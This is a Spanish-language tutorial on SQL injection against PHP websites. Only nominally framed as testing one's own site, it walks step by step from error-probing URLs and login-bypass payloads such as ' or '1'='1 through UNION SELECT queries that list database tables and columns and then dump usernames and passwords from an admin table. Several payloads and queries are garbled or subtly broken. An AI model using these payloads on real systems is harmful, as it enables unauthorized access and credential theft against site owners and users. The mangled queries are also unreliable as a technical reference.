El
SQL “
Structured Query Language” o lenguaje de consulta estructurado, es un lenguaje de consulta para bases de datos creado alrededor de 1973 por investigadores de
IBM, el
SQLI es una vulnerabilidad centrada en consultas de la base de datos de una aplicación, esta vulnerabilidad puede estar en todo tipo de lenguajes de programación como por ejemplo
PHP, JAVA, PERL, C#, ASP, dicha vulnerabilidad fue descubierta en 1999 y a día de hoy se sigue utilizando, tanto para la realizar auditorías de seguridad así como para, realizar instrucciones en sistemas informáticos.Una Inyección
SQL o
SQLi suele suceder cuando se inyecta un código
SQL al lenguaje para alterar el contenido y su funcionamiento normal y hacer que se ejecute el código malicioso en la base de datos. La mayor de las veces estos errores en las
SQL son por la ignorancia del lenguaje pero este código puede ser reparado por programadores o personas que tengan el conocimiento suficiente para poder reparar el error.
Si un sitio web es vulnerable bastara realizar una sentencia en SQL tan fácil como una coma (‘)en la URL de dicho sitio hecho esto nos saldrá un erro de sentencia,ejemplo
pagina.com./search.php?id=1 ’
Error [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'o 1 = 1--' and password = '24eac25cb9e14577e0defdf9e50645c839ff62c4' and activo ' at line 1] en el query [] que está en la linea 380 del archivo Autenticacion.class.php
También,existen cientos de formas y maneras para logearte a un sitio web,a través de sentencias sql esto ocurre gracias a un error de interpretación por parte del servido r de la base de datos , aquí les dejo unas cuantas, cada una debe utilizarse como usuario y contraseña.
figura 1:forma de logearte
figura 2: resultado del intento de ingreso "positivo"
User : ‘or’1’=’1 ‘or’1’=’1
Password: ‘or’1’=’1 ‘or’1’=’1
1) admin '-
2) admin '#
3) admin '/ *
4) 'o 1 = 1—
5) 'o 1 = 1 #
6) 'o 1 = 1 / *
7) ') o' 1 '=' 1—
8) ') o ('1' = '1—
9) ‘or’1’=’1
10) ‘or’1’=’1 ‘or’1’=’1
Uno de los lenguajes que más posee esta vulnerabilidad en sitios web es el php por lo tanto la mayoría de ataques van dirigidos a páginas con este tipo de lenguaje de programación, por lo tanto realizaremos el tutorial basándonos en este lenguaje.
Para saber si el sitio es vulnerable existen varias formas de saber, como la versión del lenguaje php, si te creaste una Web con un auto instalador como SMF, PHP NUKE.
procura siempre tener la versión más nueva, ya que existen exploits o vulnerabilidades que pueden ser explotadas para que el sitio tenga un mal funcionamiento, se dice que PHP NUKE es uno de los proveedores de sitios php más vulnerables, no se garantiza tenerlo solo por sus Themes "Temas" y su facilidad, se recomienda hacer páginas Web con el lenguaje HTML.
Tu sitio Web podría ser vulnerable a sus ID, actions, opcions, etc., estas vulnerabilidades quizás tu ya las hallas visto como:
pagina.com/search.php?id=NUMERO
pagina.com/menu.php?act=NUMERO
pagina.com/index.php?opc=NUMERO
Algunos de esos podrían tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habrá que hacer una consulta como:
pagina.com/search.php?id=-1
pagina.com/menu.php?act='2
pagina.com/index.php?opc=99999999999999999999999999
Hay que probar con esas que son las básicas, en la primera sale -1, las páginas siempre están con números positivos es raro ver una página Web que tenga opciones con -1, -2 entonces causa de esto puede salir un error de SQLi, la pantalla podría ponerse blanca, etc.
En la segunda es un '2, ¿por qué '?, porque ' es un signo que no se usa en las páginas webs, o acaso has visto una Web que use ', el 2 es cualquier número pero la mayoría de las veces resulta el número 2, para saber si funciona sale lo mismo que en el ejemplo anterior.
En la tercera nunca ponen tantos números si te das cuenta casi siempre el usuario admin es pagina.com o 1 porque es el primer miembro que estuvo pero si yo pongo pagina.com la página Web colapsa y entregaría errores.
Ejemplo de error:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/public_html/users.php on line 16
figura 3:error de syntax
PD: IMPORTANTE, si la web es vulnerable los 99999999 y -1 solo pueden continuar, el '2 da errores.
Si el sitio Web resulta vulnerable, y si es tú Web tendrías que saber si entrega datos importantes como la "Information_schema.tables", que contiene toda información del sitio Web, las columnas, tablas, etc.
Primero como ya sabemos que el sitio Web es vulnerable debemos poner:
pagina.com/users.php?id=-1+
Tenemos que poner el signo "+" pero obviamente antes la vulnerabilidad encontrada
luego debemos hacer un union+select+ que es para unir la selección de la vulnerabilidad y seguir, ahora:
pagina.com/users.php?id=-1+union+select+
Quedaría así, como ya tenemos eso ahora debemos poner los números para ver que numero es el que tiene el error, una de las formas que se utiliza es así:
pagina.com/users.php?id=-1+union+select+1,2,3,4,n
Tenemos que hacer esto hasta que la web muestre números o cambie, pero debe mostrar números esos números que muestre son los errores, entonces podemos ver si nuestra Web es vulnerable o no, para saber tenemos que ver la versión:
pagina.com/users.php?id=-1+union+select+1,2,3,@@version,5,6,7,8,9
Si fuera tu Web y es vulnerable podría decir algo como: 5.0.38-Ubuntu_0ubuntu1.4 ahora que tenemos la versión este es un breve resumen de las versiones:
Versión 5.X.XX tienen information_schema.tables (Mas Probabilidad de ser atacadas)
Versión 4.X.XX no tienen information_schema.tables (Menos Probabilidad de ser atacadas)
Lo demás es el S.O que se está usando en el Host. Si tu Web no es 5.X.XX podrías estar feliz de que tienes menos posibilidad de que "Defaceen" tu sitio Web.Pero si tu Web es 5.X.XX tienes más probabilidades, para saber si tu página Web muestra datos importantes tendremos que borrar lo que hicimos (@@version) y cambiarlo por el número que tenía el error, ahora debemos ver el information_schema.tables de nuestro sitio Web, el código es así:
pagina.com/users.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6, 7,8,9+information_schema.tables
El código en si explicado es cambiar el número que tiene error (que se muestra) por "group_concat(table_name)" que significa que busca el grupo de tablas (Todas) luego de eso seguimos con los otros números y al final se le agrega "+information_schema.tables", si te tira cosas como:
"CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET _APPLICABILITY,etc."
Es porque tu sitio es vulnerable y podrías perderlo si alguien tiene conocimientos y un pensamiento nefasto.
Pero el código anterior es un poco desordenado este es otro compuesto por frases en hexadecimal:
pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. tables
Ahora que sabemos que en nuestro sitio es visible el information_schema.tables, debemos saber qué información obtendrá el atacante.
Primero debemos saber que queremos explorar... como por ejemplo usuarios!
las páginas web no son tan "prehistóricas" para solo poner usuarios y te saldrán los datos así que encriptaremos la tabla que queramos ver a ASCII.
(Convertidor: String to ASCII chart, ASCII to decimal convertor, String to decimal converter, string hexadecimal / hex conversion)
Codificamos a ascii la tabla que queramos y la dejamos anotada, la mía es (97 100 109 105 110)
a nuestro código en ASCII le sacamos los espacios y los remplazamos por comas:
97,100,109,105,110
Ahora volvemos a el código para ver el information_schema.tables, pero ahora lo que vamos a ver son columnas (Son lo que está dentro de una tabla) Ejemplo:
Tabla: Admin
Columna: ID, User_Name, Password, Email
Entendido?, entonces remplazamos
pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. tables
table_name por column_name
information_schema.tables por information_schema.columns
quedaría así:
pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns
Ahora nos tiraría datos que no habíamos visto, pero ignoren esto, ya que no es muy importante ahora lo que tienen que hacer es agregar después de .columns esto:
Quedaría así:
pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns+where+table_name=char(ASCII)--
Ahora ya sabemos lo que está dentro de la tabla que queríamos !, hemos explorado nuestra information_schema.tables eso es un gran avance.
como sabemos todo esto podemos ver que hay en estas columnas!, para saber debemos ir muy atrás y tener nuestro código principal que es este:
pagina.com/users.php?id=-1+union+select+1,2,3,4,5,6,7,8,9
¿Cierto?, Bueno ahora manos a la obra (Frase Prehistórica), Bueno nosotros sabemos que el código donde está el error es el que se ve en la página web que es un número; en esta guía el número es 4 así que remplazaremos el numero 4 por concat(Columna,0x3d,Columna).
Entonces el Código quedaría así:
pagina.com/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna), 5,6,7,8,9
No me refiero a que se deba poner sí o sí "Columna" eso se debe renombrar por los datos que nos dio el information_schema.columns, como el ejemplo que di:
Tabla: Admin
Columna: ID, User_Name, Password, Email
Entonces quedaría así:
pagina.com/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor d),5,6,7,8,9
Ahora tengo que decirles que este código no está completo, al final de los números les agregamos +from+Tabla--
Entonces quedaría algo así:
pagina.com/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna), 5,6,7,8,9+from+admin--
y renombrando quedaría:
pagina.com/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor d),5,6,7,8,9+from+admin--
Ahora te podría dar tu usuario y clave, si te deniega es porque tu host es más seguro de lo que pensabas, si encuentras este error es mejor que lo soluciones o te verás en grandes problemas
aunque esta seria la forma manual actualmente existen muchas herramientas que nos permiten automatizar todo esta herramientas como havij,hackbar, etc... pero si quieres realmente aprender practica continuamente, hasta lograrlo.
Hasta `pronto....